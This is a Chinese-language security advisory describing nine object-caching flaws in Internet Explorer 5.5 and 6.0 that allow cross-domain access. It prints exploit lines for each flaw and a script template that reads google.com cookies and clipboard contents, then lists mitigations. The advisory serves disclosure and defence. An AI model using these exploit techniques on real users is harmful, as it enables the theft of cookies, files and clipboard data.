|
IE浏览器被发现存在9处严重的安全漏洞
涉及程序:
IE浏览器
描述:
IE浏览器被发现存在9处严重的安全漏洞
详细:
以色列一家名为 GreyMagic Software 的网络应用公司日前称他们在IE浏览器的一些 object caching
时发现9处严重的安全漏洞,攻击者可以利用这些漏洞获得对目标用户计算机系统的控制权限。
攻击者是通过精心构建一个恶意的网页,一旦IE用户登录这一页面,攻击者就会利用这9处漏洞进行攻击。一旦攻击成功,除了可以非法窃取用户文件,对用户的剪切板进行复制外,还可以受害者系统上执行任意指令。
虽然引起这9个安全漏洞的都属于同类对象,但是它们中的每一个都是一个单独的漏洞,都可以单独用来进行恶意地攻击。这9个安全漏洞列于下表。其中每个安全漏洞的介绍包括三部分,"Cache"表示如何利用有缺陷的对象,"Exploit"表示在context中如何验证此缺陷,"Impact"表示此缺陷的安全威胁("Full
access"表示可以获得目标系统的完全控制权限,包括非法访问受害者的任意文件,伪造任意URL,非法执行任意指令)。
1. showModalDialog
Cache: var fVuln=oWin.showModalDialog;
Exploit - IE 5.5:
fVuln("javascript:alert(dialogArguments.document.cookie)",oWin,"");
Exploit - IE 6: Not trivial but possible, by using our old "analyze.dlg"
vulnerability.
Impact: Full access in IE5.5, "My Computer" zone access in IE6.
2. external
Cache: var oVuln=oWin.external;
Exploit: oVuln.NavigateAndFind("javascript:alert(document.cookie)","","");
Impact: Full access.
3. createRange
Cache: var fVuln=oWin.document.selection.createRange;
Exploit: fVuln().pasteHTML("<img
src=\"javascript:alert(document.cookie)\">");
Impact: Full access.
4. elementFromPoint
Cache: var fVuln=oWin.document.elementFromPoint;
Exploit: alert(fVuln(1,1).document.cookie);
Impact: Full access.
5. getElementById
Cache: var fVuln=oWin.document.getElementById;
Exploit: alert(fVuln("ElementIdInNewDoc").document.cookie);
Impact: Full access.
6. getElementsByName
Cache: var fVuln=oWin.document.getElementsByName;
Exploit: alert(fVuln("ElementNameInNewDoc")[0].document.cookie);
Impact: Full access.
7. getElementsByTagName
Cache: var fVuln=oWin.document.getElementsByTagName;
Exploit: alert(fVuln("BODY")[0].document.cookie);
Impact: Full access.
8. execCommand
Cache: var fVuln=oWin.document.execCommand;
Exploit: fVuln("SelectAll"); fVuln("Copy");
alert(clipboardData.getData("text"));
Impact: Read access to the loaded document.
9. clipboardData
Cache: var oVuln=oWin.clipboardData;
Exploit: alert(oVuln.getData("text")); or oVuln.setData("text","data");
Impact: Read/write access to the clipboard, regardless of settings.
受影响程序:
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
以前版本和IE6 SP1不受此缺陷影响
注意,任何使用IE浏览器引擎的其它应用程序也受此影响
测试平台:
==============
IE5.5 Win98
IE5.5 NT4
IE6 Win98
IE6 Win2000
IE6 WinXP
攻击方法:
利用下面代码可以非法获得受害者“google.com”的cookie
<script language="jscript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
function () {
[Exploit line(s) here]
},
3000
);
</script>
解决方案:
* 禁止 Active Scripting
* 使用 IE6 SP1
|